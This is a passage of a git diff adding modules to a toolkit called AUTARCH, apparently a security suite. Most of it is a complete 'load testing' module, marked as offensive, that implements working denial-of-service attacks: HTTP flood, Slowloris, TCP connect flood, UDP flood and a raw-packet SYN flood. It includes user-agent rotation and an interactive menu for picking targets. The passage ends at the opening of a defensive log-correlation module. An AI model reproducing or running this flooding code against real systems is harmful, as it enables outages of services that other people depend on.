[json]: ").strip() or 'json' + data = service.export_captures(key, fmt) + print(f"\n{data}") + + save = input("\n Save to file? [y/N]: ").strip().lower() + if save == 'y': + ext = 'csv' if fmt == 'csv' else 'json' + filepath = os.path.join(get_data_dir(), 'exports', f'captures_{key}.{ext}') + os.makedirs(os.path.dirname(filepath), exist_ok=True) + with open(filepath, 'w') as f: + f.write(data) + print(f" [+] Saved to {filepath}") diff --git a/modules/loadtest.py b/modules/loadtest.py new file mode 100644 index 0000000..b970e58 --- /dev/null +++ b/modules/loadtest.py @@ -0,0 +1,1097 @@ +"""AUTARCH Load Testing Module + +Multi-protocol load/stress testing tool combining features from +Apache Bench, Locust, k6, wrk, Slowloris, and HULK. + +Supports: HTTP/HTTPS GET/POST/PUT/DELETE, Slowloris, SYN flood, +UDP flood, TCP connect flood, with real-time metrics and ramp-up patterns. +""" + +DESCRIPTION = "Load & stress testing toolkit" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +import time +import threading +import random +import string +import socket +import ssl +import struct +import queue +import json +import statistics +from dataclasses import dataclass, field +from typing import Dict, List, Optional, Any +from enum import Enum +from collections import deque +from urllib.parse import urlparse + +# Optional: requests for HTTP tests +try: + import requests + from requests.adapters import HTTPAdapter + REQUESTS_AVAILABLE = True +except ImportError: + REQUESTS_AVAILABLE = False + + +class AttackType(Enum): + HTTP_FLOOD = "http_flood" + HTTP_SLOWLORIS = "slowloris" + TCP_CONNECT = "tcp_connect" + UDP_FLOOD = "udp_flood" + SYN_FLOOD = "syn_flood" + + +class RampPattern(Enum): + CONSTANT = "constant" # All workers at once + LINEAR = "linear" # Gradually add workers + STEP = "step" # Add workers in bursts + SPIKE = "spike" # Burst → sustain → burst + + +@dataclass +class RequestResult: + status_code: int = 0 + latency_ms: float = 0.0 + bytes_sent: int = 0 + bytes_received: int = 0 + success: bool = False + error: str = "" + timestamp: float = 0.0 + + +@dataclass +class TestMetrics: + """Live metrics for a running load test.""" + total_requests: int = 0 + successful: int = 0 + failed: int = 0 + bytes_sent: int = 0 + bytes_received: int = 0 + start_time: float = 0.0 + elapsed: float = 0.0 + active_workers: int = 0 + status_codes: Dict[int, int] = field(default_factory=dict) + latencies: List[float] = field(default_factory=list) + errors: Dict[str, int] = field(default_factory=dict) + rps_history: List[float] = field(default_factory=list) + + @property + def rps(self) -> float: + if self.elapsed <= 0: + return 0.0 + return self.total_requests / self.elapsed + + @property + def avg_latency(self) -> float: + return statistics.mean(self.latencies) if self.latencies else 0.0 + + @property + def p50_latency(self) -> float: + if not self.latencies: + return 0.0 + s = sorted(self.latencies) + return s[len(s) // 2] + + @property + def p95_latency(self) -> float: + if not self.latencies: + return 0.0 + s = sorted(self.latencies) + return s[int(len(s) * 0.95)] + + @property + def p99_latency(self) -> float: + if not self.latencies: + return 0.0 + s = sorted(self.latencies) + return s[int(len(s) * 0.99)] + + @property + def max_latency(self) -> float: + return max(self.latencies) if self.latencies else 0.0 + + @property + def min_latency(self) -> float: + return min(self.latencies) if self.latencies else 0.0 + + @property + def success_rate(self) -> float: + if self.total_requests <= 0: + return 0.0 + return (self.successful / self.total_requests) * 100 + + @property + def error_rate(self) -> float: + if self.total_requests <= 0: + return 0.0 + return (self.failed / self.total_requests) * 100 + + def to_dict(self) -> dict: + return { + 'total_requests': self.total_requests, + 'successful': self.successful, + 'failed': self.failed, + 'bytes_sent': self.bytes_sent, + 'bytes_received': self.bytes_received, + 'elapsed': round(self.elapsed, 2), + 'active_workers': self.active_workers, + 'rps': round(self.rps, 1), + 'avg_latency': round(self.avg_latency, 2), + 'p50_latency': round(self.p50_latency, 2), + 'p95_latency': round(self.p95_latency, 2), + 'p99_latency': round(self.p99_latency, 2), + 'max_latency': round(self.max_latency, 2), + 'min_latency': round(self.min_latency, 2), + 'success_rate': round(self.success_rate, 1), + 'error_rate': round(self.error_rate, 1), + 'status_codes': dict(self.status_codes), + 'top_errors': dict(sorted(self.errors.items(), key=lambda x: -x[1])[:5]), + 'rps_history': list(self.rps_history[-60:]), + } + + +# User-agent rotation pool +USER_AGENTS = [ + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Safari/605.1.15", + "Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0", + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Edge/120.0.0.0", + "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148", + "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 Chrome/120.0.0.0 Mobile Safari/537.36", + "curl/8.4.0", + "python-requests/2.31.0", +] + + +class LoadTester: + """Multi-protocol load testing engine.""" + + def __init__(self): + self._stop_event = threading.Event() + self._pause_event = threading.Event() + self._pause_event.set() # Not paused by default + self._workers: List[threading.Thread] = [] + self._metrics = TestMetrics() + self._metrics_lock = threading.Lock() + self._running = False + self._config: Dict[str, Any] = {} + self._result_queue: queue.Queue = queue.Queue() + self._subscribers: List[queue.Queue] = [] + self._rps_counter = 0 + self._rps_timer_start = 0.0 + + @property + def running(self) -> bool: + return self._running + + @property + def metrics(self) -> TestMetrics: + return self._metrics + + def start(self, config: Dict[str, Any]): + """Start a load test with given configuration. + + Config keys: + target: URL or host:port + attack_type: http_flood|slowloris|tcp_connect|udp_flood|syn_flood + workers: Number of concurrent workers + duration: Duration in seconds (0 = unlimited) + requests_per_worker: Max requests per worker (0 = unlimited) + ramp_pattern: constant|linear|step|spike + ramp_duration: Ramp-up time in seconds + method: HTTP method (GET/POST/PUT/DELETE) + headers: Custom headers dict + body: Request body + timeout: Request timeout in seconds + follow_redirects: Follow HTTP redirects + verify_ssl: Verify SSL certificates + rotate_useragent: Rotate user agents + custom_useragent: Custom user agent string + rate_limit: Max requests per second (0 = unlimited) + payload_size: UDP/TCP payload size in bytes + """ + if self._running: + return + + self._stop_event.clear() + self._pause_event.set() + self._running = True + self._config = config + self._metrics = TestMetrics(start_time=time.time()) + self._rps_counter = 0 + self._rps_timer_start = time.time() + + # Start metrics collector thread + collector = threading.Thread(target=self._collect_results, daemon=True) + collector.start() + + # Start RPS tracker + rps_tracker = threading.Thread(target=self._track_rps, daemon=True) + rps_tracker.start() + + # Determine attack type + attack_type = config.get('attack_type', 'http_flood') + workers = config.get('workers', 10) + ramp = config.get('ramp_pattern', 'constant') + ramp_dur = config.get('ramp_duration', 0) + + # Launch workers based on ramp pattern + launcher = threading.Thread( + target=self._launch_workers, + args=(attack_type, workers, ramp, ramp_dur), + daemon=True + ) + launcher.start() + + def stop(self): + """Stop the load test.""" + self._stop_event.set() + self._running = False + + def pause(self): + """Pause the load test.""" + self._pause_event.clear() + + def resume(self): + """Resume the load test.""" + self._pause_event.set() + + def subscribe(self) -> queue.Queue: + """Subscribe to real-time metric updates.""" + q = queue.Queue() + self._subscribers.append(q) + return q + + def unsubscribe(self, q: queue.Queue): + """Unsubscribe from metric updates.""" + if q in self._subscribers: + self._subscribers.remove(q) + + def _publish(self, data: dict): + """Publish data to all subscribers.""" + dead = [] + for q in self._subscribers: + try: + q.put_nowait(data) + except queue.Full: + dead.append(q) + for q in dead: + self._subscribers.remove(q) + + def _launch_workers(self, attack_type: str, total_workers: int, + ramp: str, ramp_dur: float): + """Launch worker threads according to ramp pattern.""" + worker_fn = { + 'http_flood': self._http_worker, + 'slowloris': self._slowloris_worker, + 'tcp_connect': self._tcp_worker, + 'udp_flood': self._udp_worker, + 'syn_flood': self._syn_worker, + }.get(attack_type, self._http_worker) + + if ramp == 'constant' or ramp_dur <= 0: + for i in range(total_workers): + if self._stop_event.is_set(): + break + t = threading.Thread(target=worker_fn, args=(i,), daemon=True) + t.start() + self._workers.append(t) + with self._metrics_lock: + self._metrics.active_workers = len(self._workers) + elif ramp == 'linear': + interval = ramp_dur / max(total_workers, 1) + for i in range(total_workers): + if self._stop_event.is_set(): + break + t = threading.Thread(target=worker_fn, args=(i,), daemon=True) + t.start() + self._workers.append(t) + with self._metrics_lock: + self._metrics.active_workers = len(self._workers) + time.sleep(interval) + elif ramp == 'step': + steps = min(5, total_workers) + per_step = total_workers // steps + step_interval = ramp_dur / steps + for s in range(steps): + if self._stop_event.is_set(): + break + count = per_step if s < steps - 1 else total_workers - len(self._workers) + for i in range(count): + if self._stop_event.is_set(): + break + t = threading.Thread(target=worker_fn, args=(len(self._workers),), daemon=True) + t.start() + self._workers.append(t) + with self._metrics_lock: + self._metrics.active_workers = len(self._workers) + time.sleep(step_interval) + elif ramp == 'spike': + # Burst 50%, wait, add remaining + burst = total_workers // 2 + for i in range(burst): + if self._stop_event.is_set(): + break + t = threading.Thread(target=worker_fn, args=(i,), daemon=True) + t.start() + self._workers.append(t) + with self._metrics_lock: + self._metrics.active_workers = len(self._workers) + time.sleep(ramp_dur / 2) + for i in range(burst, total_workers): + if self._stop_event.is_set(): + break + t = threading.Thread(target=worker_fn, args=(i,), daemon=True) + t.start() + self._workers.append(t) + with self._metrics_lock: + self._metrics.active_workers = len(self._workers) + + # Wait for duration or stop + duration = self._config.get('duration', 0) + if duration > 0: + start = time.time() + while time.time() - start < duration and not self._stop_event.is_set(): + time.sleep(0.5) + self.stop() + + def _collect_results(self): + """Collect results from worker threads.""" + while self._running or not self._result_queue.empty(): + try: + result = self._result_queue.get(timeout=0.5) + except queue.Empty: + continue + + with self._metrics_lock: + m = self._metrics + m.total_requests += 1 + m.elapsed = time.time() - m.start_time + m.bytes_sent += result.bytes_sent + m.bytes_received += result.bytes_received + + if result.success: + m.successful += 1 + else: + m.failed += 1 + err_key = result.error[:50] if result.error else 'unknown' + m.errors[err_key] = m.errors.get(err_key, 0) + 1 + + if result.status_code: + m.status_codes[result.status_code] = m.status_codes.get(result.status_code, 0) + 1 + + if result.latency_ms > 0: + # Keep last 10000 latencies for percentile calculation + if len(m.latencies) > 10000: + m.latencies = m.latencies[-5000:] + m.latencies.append(result.latency_ms) + + self._rps_counter += 1 + + # Publish update every 20 requests + if m.total_requests % 20 == 0: + self._publish({'type': 'metrics', 'data': m.to_dict()}) + + def _track_rps(self): + """Track requests per second over time.""" + while self._running: + time.sleep(1) + with self._metrics_lock: + now = time.time() + elapsed = now - self._rps_timer_start + if elapsed >= 1.0: + current_rps = self._rps_counter / elapsed + self._metrics.rps_history.append(round(current_rps, 1)) + if len(self._metrics.rps_history) > 120: + self._metrics.rps_history = self._metrics.rps_history[-60:] + self._rps_counter = 0 + self._rps_timer_start = now + + def _should_continue(self, request_count: int) -> bool: + """Check if worker should continue.""" + if self._stop_event.is_set(): + return False + max_req = self._config.get('requests_per_worker', 0) + if max_req > 0 and request_count >= max_req: + return False + return True + + def _rate_limit_wait(self): + """Apply rate limiting if configured.""" + rate = self._config.get('rate_limit', 0) + if rate > 0: + workers = self._config.get('workers', 1) + per_worker = rate / max(workers, 1) + if per_worker > 0: + time.sleep(1.0 / per_worker) + + def _get_session(self) -> 'requests.Session': + """Create an HTTP session with configuration.""" + if not REQUESTS_AVAILABLE: + raise RuntimeError("requests library not available") + + session = requests.Session() + adapter = HTTPAdapter( + pool_connections=10, + pool_maxsize=10, + max_retries=0, + ) + session.mount('http://', adapter) + session.mount('https://', adapter) + session.verify = self._config.get('verify_ssl', False) + + # Custom headers + headers = self._config.get('headers', {}) + if headers: + session.headers.update(headers) + + if self._config.get('rotate_useragent', True): + session.headers['User-Agent'] = random.choice(USER_AGENTS) + elif self._config.get('custom_useragent'): + session.headers['User-Agent'] = self._config['custom_useragent'] + + return session + + def _http_worker(self, worker_id: int): + """HTTP flood worker — sends rapid HTTP requests.""" + target = self._config.get('target', '') + method = self._config.get('method', 'GET').upper() + body = self._config.get('body', '') + timeout = self._config.get('timeout', 10) + follow = self._config.get('follow_redirects', True) + count = 0 + + session = self._get_session() + + while self._should_continue(count): + self._pause_event.wait() + self._rate_limit_wait() + + if self._config.get('rotate_useragent', True): + session.headers['User-Agent'] = random.choice(USER_AGENTS) + + start = time.time() + result = RequestResult(timestamp=start) + + try: + resp = session.request( + method, target, + data=body if body else None, + timeout=timeout, + allow_redirects=follow, + ) + elapsed = (time.time() - start) * 1000 + + result.status_code = resp.status_code + result.latency_ms = elapsed + result.bytes_received = len(resp.content) + result.bytes_sent = len(body.encode()) if body else 0 + result.success = 200 <= resp.status_code < 500 + + except requests.Timeout: + result.error = "timeout" + result.latency_ms = timeout * 1000 + except requests.ConnectionError as e: + result.error = f"connection_error: {str(e)[:60]}" + except Exception as e: + result.error = str(e)[:80] + + self._result_queue.put(result) + count += 1 + + session.close() + + def _slowloris_worker(self, worker_id: int): + """Slowloris worker — holds connections open with partial headers.""" + parsed = urlparse(self._config.get('target', '')) + host = parsed.hostname or self._config.get('target', '') + port = parsed.port or (443 if parsed.scheme == 'https' else 80) + use_ssl = parsed.scheme == 'https' + timeout = self._config.get('timeout', 10) + + sockets: List[socket.socket] = [] + max_sockets = 50 # Per worker + + while self._should_continue(0): + self._pause_event.wait() + + # Create new sockets up to limit + while len(sockets) < max_sockets and not self._stop_event.is_set(): + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + if use_ssl: + ctx = ssl.create_default_context() + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + sock = ctx.wrap_socket(sock, server_hostname=host) + sock.connect((host, port)) + + # Send partial HTTP request + ua = random.choice(USER_AGENTS) + sock.send(f"GET /?{random.randint(0, 9999)} HTTP/1.1\r\n".encode()) + sock.send(f"Host: {host}\r\n".encode()) + sock.send(f"User-Agent: {ua}\r\n".encode()) + sock.send(b"Accept-language: en-US,en;q=0.5\r\n") + + sockets.append(sock) + result = RequestResult( + success=True, timestamp=time.time(), + bytes_sent=200, latency_ms=0 + ) + self._result_queue.put(result) + except Exception as e: + result = RequestResult( + error=str(e)[:60], timestamp=time.time() + ) + self._result_queue.put(result) + break + + # Keep connections alive with partial headers + dead = [] + for i, sock in enumerate(sockets): + try: + header = f"X-a: {random.randint(1, 5000)}\r\n" + sock.send(header.encode()) + except Exception: + dead.append(i) + + # Remove dead sockets + for i in sorted(dead, reverse=True): + try: + sockets[i].close() + except Exception: + pass + sockets.pop(i) + + time.sleep(random.uniform(5, 15)) + + # Cleanup + for sock in sockets: + try: + sock.close() + except Exception: + pass + + def _tcp_worker(self, worker_id: int): + """TCP connect flood worker — rapid connect/disconnect.""" + parsed = urlparse(self._config.get('target', '')) + host = parsed.hostname or self._config.get('target', '').split(':')[0] + try: + port = parsed.port or int(self._config.get('target', '').split(':')[-1]) + except (ValueError, IndexError): + port = 80 + timeout = self._config.get('timeout', 5) + payload_size = self._config.get('payload_size', 0) + count = 0 + + while self._should_continue(count): + self._pause_event.wait() + self._rate_limit_wait() + + start = time.time() + result = RequestResult(timestamp=start) + + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + sock.connect((host, port)) + + if payload_size > 0: + data = random.randbytes(payload_size) + sock.send(data) + result.bytes_sent = payload_size + + elapsed = (time.time() - start) * 1000 + result.latency_ms = elapsed + result.success = True + + sock.close() + except socket.timeout: + result.error = "timeout" + result.latency_ms = timeout * 1000 + except ConnectionRefusedError: + result.error = "connection_refused" + except Exception as e: + result.error = str(e)[:60] + + self._result_queue.put(result) + count += 1 + + def _udp_worker(self, worker_id: int): + """UDP flood worker — sends UDP packets.""" + target = self._config.get('target', '') + host = target.split(':')[0] if ':' in target else target + try: + port = int(target.split(':')[1]) if ':' in target else 80 + except (ValueError, IndexError): + port = 80 + payload_size = self._config.get('payload_size', 1024) + count = 0 + + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + + while self._should_continue(count): + self._pause_event.wait() + self._rate_limit_wait() + + start = time.time() + result = RequestResult(timestamp=start) + + try: + data = random.randbytes(payload_size) + sock.sendto(data, (host, port)) + elapsed = (time.time() - start) * 1000 + result.latency_ms = elapsed + result.bytes_sent = payload_size + result.success = True + except Exception as e: + result.error = str(e)[:60] + + self._result_queue.put(result) + count += 1 + + sock.close() + + @staticmethod + def _checksum(data: bytes) -> int: + """Calculate IP/TCP checksum.""" + if len(data) % 2: + data += b'\x00' + s = 0 + for i in range(0, len(data), 2): + s += (data[i] << 8) + data[i + 1] + s = (s >> 16) + (s & 0xffff) + s += s >> 16 + return ~s & 0xffff + + def _build_syn_packet(self, src_ip: str, dst_ip: str, + src_port: int, dst_port: int) -> bytes: + """Build a raw TCP SYN packet (IP header + TCP header).""" + # IP Header (20 bytes) + ip_ihl_ver = (4 << 4) + 5 # IPv4, IHL=5 (20 bytes) + ip_tos = 0 + ip_tot_len = 40 # 20 IP + 20 TCP + ip_id = random.randint(1, 65535) + ip_frag_off = 0 + ip_ttl = 64 + ip_proto = socket.IPPROTO_TCP + ip_check = 0 + ip_saddr = socket.inet_aton(src_ip) + ip_daddr = socket.inet_aton(dst_ip) + + ip_header = struct.pack('!BBHHHBBH4s4s', + ip_ihl_ver, ip_tos, ip_tot_len, ip_id, + ip_frag_off, ip_ttl, ip_proto, ip_check, + ip_saddr, ip_daddr) + # Recalculate IP checksum + ip_check = self._checksum(ip_header) + ip_header = struct.pack('!BBHHHBBH4s4s', + ip_ihl_ver, ip_tos, ip_tot_len, ip_id, + ip_frag_off, ip_ttl, ip_proto, ip_check, + ip_saddr, ip_daddr) + + # TCP Header (20 bytes) + tcp_seq = random.randint(0, 0xFFFFFFFF) + tcp_ack_seq = 0 + tcp_doff = 5 # Data offset: 5 words (20 bytes) + tcp_flags = 0x02 # SYN + tcp_window = socket.htons(5840) + tcp_check = 0 + tcp_urg_ptr = 0 + tcp_offset_res = (tcp_doff << 4) + 0 + + tcp_header = struct.pack('!HHLLBBHHH', + src_port, dst_port, tcp_seq, tcp_ack_seq, + tcp_offset_res, tcp_flags, tcp_window, + tcp_check, tcp_urg_ptr) + + # Pseudo header for TCP checksum + pseudo = struct.pack('!4s4sBBH', + ip_saddr, ip_daddr, 0, ip_proto, 20) + tcp_check = self._checksum(pseudo + tcp_header) + tcp_header = struct.pack('!HHLLBBHHH', + src_port, dst_port, tcp_seq, tcp_ack_seq, + tcp_offset_res, tcp_flags, tcp_window, + tcp_check, tcp_urg_ptr) + + return ip_header + tcp_header + + def _syn_worker(self, worker_id: int): + """SYN flood worker — sends raw TCP SYN packets. + + Requires elevated privileges (admin/root) for raw sockets. + Falls back to TCP connect flood if raw socket creation fails. + """ + target = self._config.get('target', '') + host = target.split(':')[0] if ':' in target else target + try: + port = int(target.split(':')[1]) if ':' in target else 80 + except (ValueError, IndexError): + port = 80 + + # Resolve target IP + try: + dst_ip = socket.gethostbyname(host) + except socket.gaierror: + result = RequestResult(error=f"Cannot resolve {host}", timestamp=time.time()) + self._result_queue.put(result) + return + + # Source IP: user-specified or auto-detect local IP + src_ip = self._config.get('source_ip', '').strip() + if not src_ip: + try: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect((dst_ip, 80)) + src_ip = s.getsockname()[0] + s.close() + except Exception: + src_ip = '127.0.0.1' + + # Try to create raw socket + try: + import sys + if sys.platform == 'win32': + # Windows raw sockets + sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) + sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) + else: + sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) + sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) + except PermissionError: + # Fall back to TCP connect flood + self._tcp_worker(worker_id) + return + except OSError as e: + result = RequestResult( + error=f"Raw socket failed (need admin/root): {e}", timestamp=time.time() + ) + self._result_queue.put(result) + # Fall back + self._tcp_worker(worker_id) + return + + count = 0 + while self._should_continue(count): + self._pause_event.wait() + self._rate_limit_wait() + + start = time.time() + result = RequestResult(timestamp=start) + + try: + src_port = random.randint(1024, 65535) + packet = self._build_syn_packet(src_ip, dst_ip, src_port, port) + sock.sendto(packet, (dst_ip, 0)) + + elapsed = (time.time() - start) * 1000 + result.latency_ms = elapsed + result.bytes_sent = len(packet) + result.success = True + except Exception as e: + result.error = str(e)[:60] + + self._result_queue.put(result) + count += 1 + + sock.close() + + +# Singleton +_load_tester: Optional[LoadTester] = None + + +def get_load_tester() -> LoadTester: + global _load_tester + if _load_tester is None: + _load_tester = LoadTester() + return _load_tester + + +def _clear(): + import os + os.system('cls' if os.name == 'nt' else 'clear') + + +def _format_bytes(b: int) -> str: + if b < 1024: + return f"{b} B" + elif b < 1024 * 1024: + return f"{b / 1024:.1f} KB" + elif b < 1024 * 1024 * 1024: + return f"{b / (1024 * 1024):.1f} MB" + return f"{b / (1024 * 1024 * 1024):.2f} GB" + + +def run(): + """Interactive CLI for the load testing module.""" + from core.banner import Colors + + tester = get_load_tester() + + while True: + _clear() + print(f"\n{Colors.RED} ╔══════════════════════════════════════╗{Colors.RESET}") + print(f"{Colors.RED} ║ AUTARCH Load Tester ║{Colors.RESET}") + print(f"{Colors.RED} ╚══════════════════════════════════════╝{Colors.RESET}") + print() + + if tester.running: + m = tester.metrics + print(f" {Colors.GREEN}● TEST RUNNING{Colors.RESET} Workers: {m.active_workers} Elapsed: {m.elapsed:.0f}s") + print(f" {Colors.CYAN}RPS: {m.rps:.1f} Total: {m.total_requests} OK: {m.successful} Fail: {m.failed}{Colors.RESET}") + print(f" {Colors.DIM}Avg: {m.avg_latency:.1f}ms P95: {m.p95_latency:.1f}ms P99: {m.p99_latency:.1f}ms{Colors.RESET}") + print(f" {Colors.DIM}Sent: {_format_bytes(m.bytes_sent)} Recv: {_format_bytes(m.bytes_received)}{Colors.RESET}") + print() + print(f" {Colors.WHITE}1{Colors.RESET} — View live metrics") + print(f" {Colors.WHITE}2{Colors.RESET} — Pause / Resume") + print(f" {Colors.WHITE}3{Colors.RESET} — Stop test") + print(f" {Colors.WHITE}0{Colors.RESET} — Back (test continues)") + else: + print(f" {Colors.WHITE}1{Colors.RESET} — HTTP Flood") + print(f" {Colors.WHITE}2{Colors.RESET} — Slowloris") + print(f" {Colors.WHITE}3{Colors.RESET} — TCP Connect Flood") + print(f" {Colors.WHITE}4{Colors.RESET} — UDP Flood") + print(f" {Colors.WHITE}5{Colors.RESET} — SYN Flood (requires admin)") + print(f" {Colors.WHITE}6{Colors.RESET} — Quick Test (HTTP GET)") + print(f" {Colors.WHITE}0{Colors.RESET} — Back") + + print() + try: + choice = input(f" {Colors.WHITE}Select: {Colors.RESET}").strip() + except (EOFError, KeyboardInterrupt): + break + + if choice == '0' or not choice: + break + + if tester.running: + if choice == '1': + _show_live_metrics(tester) + elif choice == '2': + if tester._pause_event.is_set(): + tester.pause() + print(f"\n {Colors.YELLOW}[!] Test paused{Colors.RESET}") + else: + tester.resume() + print(f"\n {Colors.GREEN}[+] Test resumed{Colors.RESET}") + time.sleep(1) + elif choice == '3': + tester.stop() + _show_final_report(tester) + else: + if choice == '1': + _configure_and_run(tester, 'http_flood') + elif choice == '2': + _configure_and_run(tester, 'slowloris') + elif choice == '3': + _configure_and_run(tester, 'tcp_connect') + elif choice == '4': + _configure_and_run(tester, 'udp_flood') + elif choice == '5': + _configure_and_run(tester, 'syn_flood') + elif choice == '6': + _quick_test(tester) + + +def _configure_and_run(tester: LoadTester, attack_type: str): + """Interactive configuration and launch.""" + from core.banner import Colors + + print(f"\n{Colors.BOLD} Configure {attack_type.replace('_', ' ').title()}{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 40}{Colors.RESET}\n") + + src_ip = '' + try: + if attack_type == 'http_flood': + target = input(f" Target URL: ").strip() + if not target: + return + if not target.startswith('http'): + target = 'http://' + target + method = input(f" Method [GET]: ").strip().upper() or 'GET' + body = '' + if method in ('POST', 'PUT'): + body = input(f" Body: ").strip() + elif attack_type == 'syn_flood': + print(f" {Colors.YELLOW}[!] SYN flood requires administrator/root privileges{Colors.RESET}") + target = input(f" Target (host:port): ").strip() + if not target: + return + src_ip = input(f" Source IP (blank=auto): ").strip() + method = '' + body = '' + elif attack_type in ('tcp_connect', 'udp_flood'): + target = input(f" Target (host:port): ").strip() + if not target: + return + method = '' + body = '' + elif attack_type == 'slowloris': + target = input(f" Target URL or host:port: ").strip() + if not target: + return + if not target.startswith('http') and ':' not in target: + target = 'http://' + target + method = '' + body = '' + else: + target = input(f" Target: ").strip() + if not target: + return + method = '' + body = '' + + workers_s = input(f" Workers [10]: ").strip() + workers = int(workers_s) if workers_s else 10 + + duration_s = input(f" Duration in seconds [30]: ").strip() + duration = int(duration_s) if duration_s else 30 + + ramp_s = input(f" Ramp pattern (constant/linear/step/spike) [constant]: ").strip() + ramp = ramp_s if ramp_s in ('constant', 'linear', 'step', 'spike') else 'constant' + + rate_s = input(f" Rate limit (req/s, 0=unlimited) [0]: ").strip() + rate_limit = int(rate_s) if rate_s else 0 + + config = { + 'target': target, + 'attack_type': attack_type, + 'workers': workers, + 'duration': duration, + 'method': method, + 'body': body, + 'ramp_pattern': ramp, + 'rate_limit': rate_limit, + 'timeout': 10, + 'rotate_useragent': True, + 'verify_ssl': False, + 'follow_redirects': True, + 'payload_size': 1024, + 'source_ip': src_ip if attack_type == 'syn_flood' else '', + } + + print(f"\n {Colors.YELLOW}[!] Starting {attack_type} against {target}{Colors.RESET}") + print(f" {Colors.DIM}Workers: {workers} Duration: {duration}s Ramp: {ramp}{Colors.RESET}") + confirm = input(f"\n {Colors.WHITE}Confirm? (y/n) [y]: {Colors.RESET}").strip().lower() + if confirm == 'n': + return + + tester.start(config) + _show_live_metrics(tester) + + except (ValueError, EOFError, KeyboardInterrupt): + print(f"\n {Colors.YELLOW}[!] Cancelled{Colors.RESET}") + time.sleep(1) + + +def _quick_test(tester: LoadTester): + """Quick HTTP GET test with defaults.""" + from core.banner import Colors + + try: + target = input(f"\n Target URL: ").strip() + if not target: + return + if not target.startswith('http'): + target = 'http://' + target + + config = { + 'target': target, + 'attack_type': 'http_flood', + 'workers': 10, + 'duration': 10, + 'method': 'GET', + 'body': '', + 'ramp_pattern': 'constant', + 'rate_limit': 0, + 'timeout': 10, + 'rotate_useragent': True, + 'verify_ssl': False, + 'follow_redirects': True, + } + + print(f"\n {Colors.YELLOW}[!] Quick test: 10 workers × 10 seconds → {target}{Colors.RESET}") + tester.start(config) + _show_live_metrics(tester) + + except (EOFError, KeyboardInterrupt): + pass + + +def _show_live_metrics(tester: LoadTester): + """Display live-updating metrics in the terminal.""" + from core.banner import Colors + import sys + + print(f"\n {Colors.GREEN}● LIVE METRICS {Colors.DIM}(Press Ctrl+C to return to menu){Colors.RESET}\n") + + try: + while tester.running: + m = tester.metrics + rps_bar = '█' * min(int(m.rps / 10), 40) + + sys.stdout.write('\033[2K\r') # Clear line + sys.stdout.write( + f" {Colors.CYAN}RPS: {m.rps:>7.1f}{Colors.RESET} " + f"{Colors.DIM}{rps_bar}{Colors.RESET} " + f"Total: {m.total_requests:>8} " + f"{Colors.GREEN}OK: {m.successful}{Colors.RESET} " + f"{Colors.RED}Fail: {m.failed}{Colors.RESET} " + f"Avg: {m.avg_latency:.0f}ms " + f"P95: {m.p95_latency:.0f}ms " + f"Workers: {m.active_workers}" + ) + sys.stdout.flush() + time.sleep(0.5) + except KeyboardInterrupt: + pass + + print() + if not tester.running: + _show_final_report(tester) + + +def _show_final_report(tester: LoadTester): + """Display final test results.""" + from core.banner import Colors + + m = tester.metrics + print(f"\n{Colors.BOLD} ─── Test Complete ───{Colors.RESET}\n") + print(f" Total Requests: {m.total_requests}") + print(f" Successful: {Colors.GREEN}{m.successful}{Colors.RESET}") + print(f" Failed: {Colors.RED}{m.failed}{Colors.RESET}") + print(f" Duration: {m.elapsed:.1f}s") + print(f" Avg RPS: {m.rps:.1f}") + print(f" Data Sent: {_format_bytes(m.bytes_sent)}") + print(f" Data Received: {_format_bytes(m.bytes_received)}") + print() + print(f" {Colors.CYAN}Latency:{Colors.RESET}") + print(f" Min: {m.min_latency:.1f}ms") + print(f" Avg: {m.avg_latency:.1f}ms") + print(f" P50: {m.p50_latency:.1f}ms") + print(f" P95: {m.p95_latency:.1f}ms") + print(f" P99: {m.p99_latency:.1f}ms") + print(f" Max: {m.max_latency:.1f}ms") + + if m.status_codes: + print(f"\n {Colors.CYAN}Status Codes:{Colors.RESET}") + for code, count in sorted(m.status_codes.items()): + color = Colors.GREEN if 200 <= code < 300 else Colors.YELLOW if 300 <= code < 400 else Colors.RED + print(f" {color}{code}{Colors.RESET}: {count}") + + if m.errors: + print(f"\n {Colors.RED}Top Errors:{Colors.RESET}") + for err, count in sorted(m.errors.items(), key=lambda x: -x[1])[:5]: + print(f" {count}× {err}") + + print() + try: + input(f" {Colors.WHITE}Press Enter to continue...{Colors.RESET}") + except (EOFError, KeyboardInterrupt): + pass diff --git a/modules/log_correlator.py b/modules/log_correlator.py new file mode 100644 index 0000000..ab10bd1 --- /dev/null +++ b/modules/log_correlator.py @@ -0,0 +1,551 @@ +"""AUTARCH Log Correlator + +Syslog ingestion, pattern matching, anomaly detection, alert rules, +timeline correlation, and mini-SIEM functionality. +""" + +DESCRIPTION = "Log correlation & anomaly detection (mini-SIEM)" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "defense" + +import os +import re +import json +import time +import threading +from pathlib import Path +from datetime import datetime, timezone +from collections import Counter, defaultdict +from typing import Dict, List, Optional, Any + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── Built-in Detection Rules ──────────────────────────────────────────────── + +DEFAULT_RULES = [ + { + 'id': 'brute_force_ssh', + 'name': 'SSH Brute Force', + 